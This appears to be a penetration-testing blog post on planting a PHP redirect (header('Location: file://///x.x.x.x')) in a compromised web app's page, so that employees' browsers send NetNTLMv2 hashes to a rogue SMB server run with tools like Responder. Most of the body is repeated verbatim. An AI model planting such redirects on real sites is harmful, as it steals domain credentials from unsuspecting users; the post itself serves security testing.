Hijacking a Compromised Web App to Capture AD Credentials
In many cases, if a penetration tester is able to compromise a web application and gain a reverse shell or webshell, they can use the foothold to pivot to internal systems, or find reused passwords that can be utilized to authenticate to other systems. But what if the application is appropriately DMZ'd and no reused passwords are found? In these cases, an attacker may need to get creative in order to expand influence.
Especially in the case of a compromised web application that is used by employees but is not Active Directory integrated, it may be useful to use the compromised web application to capture Windows credentials. One such exploit I have tested successfully using a compromised PHP application, is to use a PHP redirect to a rogue SMB server. This could be done various ways, but one way to do it would be to hijack a menu item or hyperlink within the web application, replacing the content of the original PHP file with the malicious redirect.
For instance, a possible target would be a menu item in the navigation bar that says, "About" and links to /about.php. Using the reverse shell, the penetration tester backs up the original about.php (we're nice guys, right?) and creates a new one which contains the exploit. The malicious version of the file contains a PHP redirect to a malicious SMB server which is listening for NetNTLMv2 password hashes. Either Responder, Inveigh or even Core Impact's Fake SMB Server module can be used for the rogue SMB server. The malicious code for the redirect is simple:
<?php
header('Location: file://///x.x.x.x');
If the user is using an Internet Explorer default configuration, in most cases, their NetNTLMv2 password hash will be sent to the rogue SMB server, as soon as the redirect is complete. (Doesn't work on Chrome/Firefox.) This can allow the attacker to capture and potentially crack Windows domain account passwords which may be able to be used on other external facing web portals belonging to the target organization. Stealth and strategy are key in these cases. If you break the web application too severely, you alert defenders - or harm your client's production. If you break something which is low impact, you may capture less credentials, but stay under the radar. When in doubt, it may be appropriate to get the target organization's feedback before launching this type of attack.
In any case, this type of attack is very important for showing the full impact of vulnerabilities exploited on DMZ'd or extranet/cloud systems. If the foothold gained on a compromised host is not used in this way, it would be easy for defenders to jump to the conclusion that the compromised target caused little or no risk to the internal network. Hijacking the compromised site in this way, shows a full exploit chain that can help an organization determine their security posture more accurately.
This attack could be performed using many different variations. Another variation would be to setup the rogue SMB server on the compromised target itself. This introduces a new set of complexities, however, including the potential need to open port 445 to the DMZ'd host, and the increased chance of detection.
Especially in the case of a compromised web application that is used by employees but is not Active Directory integrated, it may be useful to use the compromised web application to capture Windows credentials. One such exploit I have tested successfully using a compromised PHP application, is to use a PHP redirect to a rogue SMB server. This could be done various ways, but one way to do it would be to hijack a menu item or hyperlink within the web application, replacing the content of the original PHP file with the malicious redirect.
For instance, a possible target would be a menu item in the navigation bar that says, "About" and links to /about.php. Using the reverse shell, the penetration tester backs up the original about.php (we're nice guys, right?) and creates a new one which contains the exploit. The malicious version of the file contains a PHP redirect to a malicious SMB server which is listening for NetNTLMv2 password hashes. Either Responder, Inveigh or even Core Impact's Fake SMB Server module can be used for the rogue SMB server. The malicious code for the redirect is simple:
<?php
header('Location: file://///x.x.x.x');
If the user is using an Internet Explorer default configuration, in most cases, their NetNTLMv2 password hash will be sent to the rogue SMB server, as soon as the redirect is complete. (Doesn't work on Chrome/Firefox.) This can allow the attacker to capture and potentially crack Windows domain account passwords which may be able to be used on other external facing web portals belonging to the target organization. Stealth and strategy are key in these cases. If you break the web application too severely, you alert defenders - or harm your client's production. If you break something which is low impact, you may capture less credentials, but stay under the radar. When in doubt, it may be appropriate to get the target organization's feedback before launching this type of attack.
In any case, this type of attack is very important for showing the full impact of vulnerabilities exploited on DMZ'd or extranet/cloud systems. If the foothold gained on a compromised host is not used in this way, it would be easy for defenders to jump to the conclusion that the compromised target caused little or no risk to the internal network. Hijacking the compromised site in this way, shows a full exploit chain that can help an organization determine their security posture more accurately.
This attack could be performed using many different variations. Another variation would be to setup the rogue SMB server on the compromised target itself. This introduces a new set of complexities, however, including the potential need to open port 445 to the DMZ'd host, and the increased chance of detection.
Comments
Post a Comment